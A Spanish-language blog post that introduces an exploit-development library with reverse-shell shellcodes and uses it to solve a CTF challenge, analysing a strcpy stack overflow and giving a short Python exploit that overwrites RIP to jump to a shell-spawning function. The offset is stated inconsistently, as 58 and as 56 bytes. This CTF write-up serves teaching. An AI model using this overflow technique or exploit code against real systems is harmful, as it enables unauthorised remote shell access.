Nuevas Entradas

SecuritySocket Remote Exploit Library

by hdbreaker

Hoy tengo el agrado de presentar SecuritySocket, una pequeña libreria que tiene como finalidad volver mas amigable el desarrollo de exploits.


La misma integra shellcodes para arquitecturas x86, x64 y ARM. Ademas permite la lectura y escritura de sockets y el manejo de sockets interactivos post explotación de forma sencilla y practica.

Incluye reverse shells shellcodes para arquitecturas x86/x86-64 que se adaptan dependiendo de nuestro ip/port a atacar

El código en cuestión se encuentra en:

https://bitbucket.org/hdbreaker/securitysocket

Demás esta decir que esta libre la invitación a todos los entusiastas que quieran aportar su granito de arena al desarrollo.

A forma de introducción al funcionamiento de la librería voy a mostrar como desarrollar un exploit para solucionar el reto Remote Auth de ringzer0team


 El reto nos brinda un binario de prueba para que analicemos su funcionamiento, y lleguemos a la idea de como explotar la vulnerabilidad.

Para realizar en análisis voy a utilizar IDA PRO junto a GDB, todos sabemos que IDA PRO tiene una versión comercial, una free y que también anda dando vueltas una versión pirateada. De cualquier forma el análisis también se podría realizar con EDB como sustituto open source de IDA. 
(Solo voy a decir que si tienen la posibilidad de comprar un software lo hagan ya que de esa forma apoyan al desarrollo de un proyecto y evitan la descontinuidad del mismo por falta de presupuesto)  

Descargamos el binario y analizamos su arquitectura:

Se trata de un ejecutable de arquitectura x64, por lo que requeriremos de un procesador x64 para poder ejecutarlo.

Ya definido el scope pasamos a analizarlo con IDA:



la función main es la que se encarga de inicializar un socket server y ponerlo a la escucha de nuevas conexiónes, lo importate aquí es la funcion validate_password:

A simple vista podemos apreciar una serie de funciones muy importantes: _memset, _strcpy y _strcmp.


En el diagrama de flujo de Graph view de IDA, podemos apreciar los 2 posibles caminos que puede tomar jnz dependiendo del resultado de _strcmp, suponiendo que el resultado es TRUE se continuara por el camino izquierdo, el cual realiza un llamado a la funcion rao_prompt, tambien podemos apreciar el string ALPINE probable password hardcodeado.
rao_prompt por su parte realiza un llamado a _execve enviando como argumento "/bin/sh", por lo que queda claro que esta función es la que realiza el spawn de la shell.

Si ponemos a la escucha el binario de prueba: ./bin 4444 y nos conectamos a nuestro localhost podemos apreciar la primer impresión del funcionamiento completo del sistema:

Como podemos apreciar la contraseña hardcodeada ALPINE nos brinda acceso a la shell (Cualquier coincidencia entre CRISCO y  JUNIPER es mera casualidad)

En este punto podemos ver que el reto consiste en conectarse a un servidor e ingresar una clave, si la clave es correcta el binario nos sirve una shell, obviamente no tenemos la clave, es algo ilogico pensar que en un reto de Exploiting nos vamos a encontrar con la contraseña funcional harcodeada esperando a ser reverseada, de todas formas para matar la curiosidad lo probamos sin exito:



Hemos llegado al momento donde debemos identificar la vulnerabilidad y explotarla, sabiendo que la ultima función a la que podemos llegar sin una contraseña es validate_password y que la misma posee un strcpy, es probable que en ella radique la vulnerabilidad.

Para analizar de mejor forma la función  validate_password utilizaremos los dotes de Hexrays decompiler, para obtener un pseudocodigo en C simil al original. (digo pseudocodigo simil ya que hexrays genera codigo C interpretando el ASM y no es 100% exacto al programado originalmente) 




Analizando rapidamente el código apreciamos que se crea un buffer s de 0x30 bytes (48 Decimal), luego strcpy copia sin previa validación, el contenido de a1 (argumento de la función) dentro de s 

Posteriormente strcmp compara si s es igual al string "ALPINE" y en caso de serlo lanza la función rao_prompt() que como ya habiamos dicho ejecuta execve('/bin/bash', NULL, NULL) devolviendonos shell.

Quiero remarcar que el uso de ! dentro del if es porque strcmp retorna 0 si la comparación es TRUE, por lo que if(0) devolvería false en vez de true, así que se convierte el 0 a 1 por medio del uso de ! de esta forma si strcmp es true osea 0 => if(!0) => if(1) => if(true) :)

Entendiendo esto sabremos apreciar que el fallo esta en como strcpy puede overflodear el buffer s.

Tambien sabemos que memset crea un buffer de 48 bytes por lo que con 49 bytes podemos comenzar a overflodearlo y aumentando gradualmente podemos llegar a, en el mejor de los casos, sobrescribir RIP.Para asegurarnos de esto corroboramos que no exista otro tipo de protección:


Observamos que no existe STACK CANARY pero si esta activo el BIT NX, por lo que utilizar ret2libc seria una opción, pero en nuestro caso tenemos a favor la funcion rao_prompt() que basicamente realiza el ret2libc por nosotros.

Comprendiendo esto y suponiendo que en el servidor esta desactivada la protección ASLR, nuestra exploit debería overflodear el buffer en strcpy hasta llegar a controlar el flujo de RIP y hacer saltar la ejecución hacia rao_prompt.

Para lograr esto debemos obtener 2 datos:

La dirección de rao_promt, y el largo correcto de bytes que nos coloque al pie de RIP.




rao_prompt comienza en el push y se encuentra en la dirección: 0x40149B

Solo basta realizar algunas pruebas aumentando los bytes 1 a 1 hasta pisar el RIP con 60 bytes



Por lo tanto con 56 bytes quedamos en el pie de RIP!

Nuestro payload quedaría mas o menos asi:

payload = "\x90" * 58 + struct.pack('<I', 0x40149B);

Realizando una prueba rápida para validar el fucionamiento, vemos que todo funciona correctamente:


Pero inmediatamente luego de que el servidor nos brinda shell este cierra la conexión sin dejarnos interactuar con el prompt.
En este punto ya tenemos todos los ingredientes para comenzar a codificar nuestro exploit y utilizar la librería SecuritySocket para obtener una shell interactiva:

El código habla por si solo por lo que no entrare en detalles:

from securitysignal import * #importamos la librería
import struct

s = SecuritySocket('ringzer0team.com', 1001); #Creamos la conexión por sockets
rao_promptAdress = 0x40149B; #dirección de memoria de rao_promt
payload = '\x90'*56+struct.pack('<I', rao_promptAdress); 

s.send(payload)  #Enviamos el payload
s.interactive(); #Capturamos la respuesta e iniciamos la shell interactiva


El resultado:


Solo resta leer el flag y pasar el reto.

Espero que esta librería sea de utilidad a todos los interesados en el desarrollo de exploits y que la resolución del reto les haya sido de interés.

Saludos!

Share this:

 
Copyright © 2014 Security Signal.
Designed by OddThemes | Distributed By Gooyaabi Templates